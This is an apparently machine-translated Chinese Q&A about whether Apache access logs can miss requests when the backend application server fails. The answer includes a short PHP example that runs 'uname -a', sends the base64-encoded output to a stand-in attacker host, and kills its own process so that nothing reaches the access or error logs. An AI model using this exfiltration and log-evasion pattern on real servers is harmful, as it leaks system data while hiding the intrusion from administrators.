我的工作场所在各种Java应用程序服务器的前面都有Apache。我经常需要调查生产问题并依赖那些记录对应用程序服务器的所有请求的Apache Access日志,无论它们是成功的(200),重定向(302),错误(500)还是其他一些状态。
但是,通常情况下,当应用程序服务器没有响应并需要重新启动时,看起来可能某些请求尚未记录。
我尝试在本地重现这个(启动一个长时间运行的请求,并允许请求超过Apache服务器上的超时或者只是从命令行中删除应用程序服务器)但是我总是在访问中记录请求日志。
我的问题是,假设Apache运行良好但面临应用程序服务器问题,Apache访问日志是否会错过请求?
答案 0 :(得分:3)
在某些情况下它可能会丢失请求,docs包含重要的句子:
服务器访问日志记录了服务器处理的所有请求。
因此,如果未处理请求,则不应期望在 access_log 中输入。如果您想知道这种情况是否可以轻松重现,那么我找到了一种解决方法。
考虑以下PHP代码( test.php ):
<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());
此外,您还必须使用prefork MPM和mod_php模块运行Apache。然后使用浏览器或telnet发出请求:
$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0
Connection closed by foreign host.
如您所见,连接已关闭,没有任何响应。尽管执行了代码并且攻击者收到了命令uname -a
的编码结果,但 access_log 和 error_log 中也没有日志。